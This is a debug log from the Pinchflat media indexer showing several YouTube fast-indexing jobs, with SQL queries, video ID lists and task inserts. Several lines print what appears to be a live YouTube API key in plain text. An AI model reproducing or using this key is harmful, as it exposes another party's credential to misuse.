{"args":{"id":28},"id":5268195,"meta":{},"system_time":1791581142508407631,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:25:42.508 [debug] QUERY OK source="sources" db=0.1ms idle=670.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 16:25:42.509 [debug] QUERY OK source="settings" db=0.1ms idle=670.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:42.509 [debug] QUERY OK source="media_profiles" db=0.1ms idle=663.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:25:42.509 [debug] QUERY OK source="settings" db=0.1ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:42.509 [debug] Fetching recent media IDs from YouTube API for playlist: UUuVLG9pThvBABcYCm7pkNkA 16:25:42.509 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:42.509 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:25:42.668 [debug] QUERY OK source="media_items" db=0.7ms idle=159.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [28, "KrmXrao8zdE", "3fDGcZ8qpPM", "AyGMx6lWgZU", "QeQ0ReNvrxQ", "dWHCef7F8gY", "VsoNt5rhgkY", "jsLE4FncoLc", "FNBkN4YC8uo", "6pR7KWclRgE", "sX4qKGuAwr0", "sN7e38Q7e1U", "Ms5-iH2zH6Q", "NG-lLt5X3Rs", "8A42tiQ04CE", "i1AXDYQ6eUU", "Y8wBie-Oamc", "JPm4de6-eTg", "2El50dt7rVk", "_TxeaboC-xk", "XFWTgmV5C84", "l-1TWD7BAYc", "Vf4rTmR_EC4", "qY4rM_-mNTc", "qVrg5eRJVTA", "4jYdMxhwlz4", "wGxXI3DcvN0", "MSFYhYOJMLE", "pc64L0fvGL4", "HUeC39CZO44", "6aheyYXRwqs", "KLYMjPNppRQ", "dcvQMu15N9A", "_1-lCmzdcec", "r1bMJekCiBw", "roIOgtrjFGU", "W4gLOWTbaY0", "Qq62goUHDD4", "NQiLly6Z1xs", "zGhNdyVFLbE", "oE_vom5pfgU", "ElM4NXN22Xk", "DEFBn0r53uQ", "3t9aWDVCqVI", "4anuB72EMWY", "rDFuee41ptI", "0CPHgR8vK0w", "wBC_bug5DIQ", "TDnzDnKOrLo", "thoukYxcB_M", ...] 16:25:42.669 [debug] QUERY OK source="media_items" db=0.4ms idle=160.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [28] 16:25:42.670 [debug] QUERY OK source="tasks" db=0.1ms idle=160.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268234, 28, ~U[2026-10-09 21:25:42Z], ~U[2026-10-09 21:25:42Z]] 16:25:42.947 [info] {"args":{"id":28},"id":5268195,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":162282,"event":"job:stop","queue_time":983790,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:25:42.973 [info] {"args":{"id":20},"id":5268196,"meta":{},"system_time":1791581142973783661,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:25:42.974 [debug] QUERY OK source="sources" db=0.1ms idle=303.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [20] 16:25:42.974 [debug] QUERY OK source="settings" db=0.1ms idle=303.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:42.974 [debug] QUERY OK source="media_profiles" db=0.1ms idle=303.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:25:42.974 [debug] QUERY OK source="settings" db=0.1ms idle=27.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:42.974 [debug] Fetching recent media IDs from YouTube API for playlist: UU2J-0g_nxlwcD9JBK1eTleQ 16:25:42.975 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:42.975 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:25:43.231 [debug] QUERY OK source="media_items" db=0.7ms idle=256.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [20, "YcXxJviqQfE", "g6VmtRtHMeA", "zCj1ZKCgdoI", "YBTfuph1cdE", "ryRdagoZR88", "zD0WRwU4AqE", "GB6lntnVi4A", "QQ97R1nhq4M", "5C60QMnLtX8", "-l28H03fnKk", "FefIWhfl5Lg", "d0t7wpkFc6U", "clsbuM6uf1A", "6Reu1WS3BhM", "bYw5GAzP2Ds", "KY_4oUIG_z8", "4-eB-n5NYRs", "9s69aThM7rA", "Gs5r8iGPjSg", "We-lvUeRGb0", "8JhH6UO_pRY", "fOwC95ZXh08", "i4eCZ6dLVrg", "h_NEOIwrG-E", "1q-hpaepgk0", "cAmEAgNc0eY", "EfReqcUJfBU", "46tvrNZFxjQ", "MnjNgtPr3v0", "DqBOTn6RiKE", "Eten26XKTv4", "sdSusCDZcDg", "_Ma4fV7ajak", "bfeb6AS7efA", "NzCJGD3XMm4", "sI4y8jDO6kc", "2OvyyVxQjuI", "GUFPw25D0XM", "llRut0MpjfU", "n_wbyAf0Sfs", "U5P5WgYhz9Q", "LvTo1PSlDkc", "HcvF3XFlHeM", "xvnYl9yyxY8", "2E4neC3OBtg", "SzQQMElyhzo", "LckcXDqLtVA", "wDzi0-S9Bpo", "5CIJ_zk7DR4", ...] 16:25:43.232 [debug] QUERY OK source="media_items" db=0.4ms idle=257.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [20] 16:25:43.233 [debug] QUERY OK source="tasks" db=0.1ms idle=258.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268235, 20, ~U[2026-10-09 21:25:43Z], ~U[2026-10-09 21:25:43Z]] 16:25:43.234 [info] {"args":{"id":20},"id":5268196,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":259997,"event":"job:stop","queue_time":1270180,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:25:43.240 [info] {"args":{"id":43},"id":5268197,"meta":{},"system_time":1791581143240208441,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:25:43.240 [debug] QUERY OK source="sources" db=0.1ms idle=6.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [43] 16:25:43.240 [debug] QUERY OK source="settings" db=0.0ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:43.240 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:25:43.240 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:43.240 [debug] Fetching recent media IDs from YouTube API for playlist: UUxkM67T_Iele-mRVUiBkRqg 16:25:43.241 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:43.241 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:25:43.448 [debug] QUERY OK source="media_items" db=0.7ms idle=206.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [43, "31b669NGSbU", "xBJ3EvFzHRk", "UTigBRy4EWA", "u_lWztXd9jw", "uzr_gkc81SQ", "CSksN3XLepQ", "Lhx1j6FShA8", "lPPCjg79EyI", "M3GPI3jShKQ", "QhEWeDT_9gI", "om8wrIN7I5g", "pW4N8ppO5sU", "T42aB4OghFc", "ozik7Ba4gkU", "9lbfqrKKOyA", "86OoMc0NWfM", "KiVx5j9C9Mc", "76C3VtR2NYQ", "eEEPdEY0zic", "pxfnSX8C3aQ", "hkJUk6Lak_I", "X5mw5v9tius", "QUGHPuUU5FA", "CNomQhGnaMU", "i2ZTeoIKaw0", "BoFkqiBBWz8", "-uQ5c-gl89A", "AujUIY2N0Kw", "Ts6SW099X08", "yiNoK1oj4SI", "giE5-sKMa4Q", "K3D6FMrT7Lk", "AHRE7etgEEs", "orKC0kNQjzQ", "mXCNpEOyHSk", "wQQ9FOdzWGE", "80nShpfG3a4", "QbXzfSn-jP4", "L0TcqR55ihA", "GcGTofZU2i4", "C4w4jl4ODAk", "2AriH2BNp4E", "3frxUw8OrG0", "KdKZA74hhJg", "eZVun8Iwq4U", "YKNWFGYQrrk", "NyTKzFzm7AE", "Zftv6Kh2zi4", "gHz9q2oiL1Y", ...] 16:25:43.449 [debug] QUERY OK source="media_items" db=0.3ms idle=208.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [43] 16:25:43.449 [debug] QUERY OK source="tasks" db=0.1ms idle=208.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268236, 43, ~U[2026-10-09 21:25:43Z], ~U[2026-10-09 21:25:43Z]] 16:25:43.450 [info] {"args":{"id":43},"id":5268197,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":209702,"event":"job:stop","queue_time":1086643,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:25:43.456 [info] {"args":{"id":23},"id":5268198,"meta":{},"system_time":1791581143456204148,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:25:43.456 [debug] QUERY OK source="sources" db=0.1ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [23] 16:25:43.456 [debug] QUERY OK source="settings" db=0.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:43.456 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:25:43.456 [debug] QUERY OK source="settings" db=0.0ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:43.457 [debug] Fetching recent media IDs from YouTube API for playlist: UU0e3QhIYukixgh5VVpKHH9Q 16:25:43.457 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:43.457 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:25:43.617 [debug] QUERY OK source="media_items" db=0.7ms idle=160.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [23, "F3BGWNuVMUE", "zy-ZowzY8rI", "iPqkxKao6Bk", "0EVEzVz1iTY", "kWFOeEB1qcI", "oLF_mxPfL0I", "2YdPIB7wVFk", "ehAStJmx_Fo", "wesICmc48UE", "t92i8HsHKmA", "AhqqnIvtCiw", "bt8BwJs2JWI", "EFaqLSDJh-s", "SCUu4xlZZgc", "8VrI0j3jXJ8", "QnMxWMpUpTo", "k2wddOfXMqY", "serCiKj8ze8", "eX8gUvcWwDc", "GfPmOqlxGfk", "eouZtZL_59U", "S_-YdPM_iiQ", "HbrC4U3oN38", "1f-rdFBrQE0", "rba0WnXY3_w", "hEapzP-_QlM", "AGO8Tn0g0qQ", "WYMAL4Ch6oQ", "25ctC3HDSnM", "CI8fbAiug3k", "I7vOcJcCSso", "RtzS0T6toww", "sWZJ6kRNw4g", "djIufZ7Fyms", "tn_SdPx3nyE", "QbwgQSwMSGM", "JPv5FWCYdXc", "g39AagVW0s0", "HMKKPMSuo08", "ZpsJkhk9uBM", "jIseIpxnKUM", "XzJ2qK5DX18", "a7mNUTslJNA", "ovIykchkW5I", "9amJuvb3grU", "qvpXpCvkqbc", "DmQ4Dqxs0HI", "ldaescGA1dY", "kzEHFuVeYS4", ...] 16:25:43.618 [debug] QUERY OK source="media_items" db=0.2ms idle=161.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [23] 16:25:43.619 [debug] QUERY OK source="tasks" db=0.1ms idle=116.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268237, 23, ~U[2026-10-09 21:25:43Z], ~U[2026-10-09 21:25:43Z]] 16:25:43.619 [info] {"args":{"id":23},"id":5268198,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":163045,"event":"job:stop","queue_time":1141284,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:25:44.588 [info] 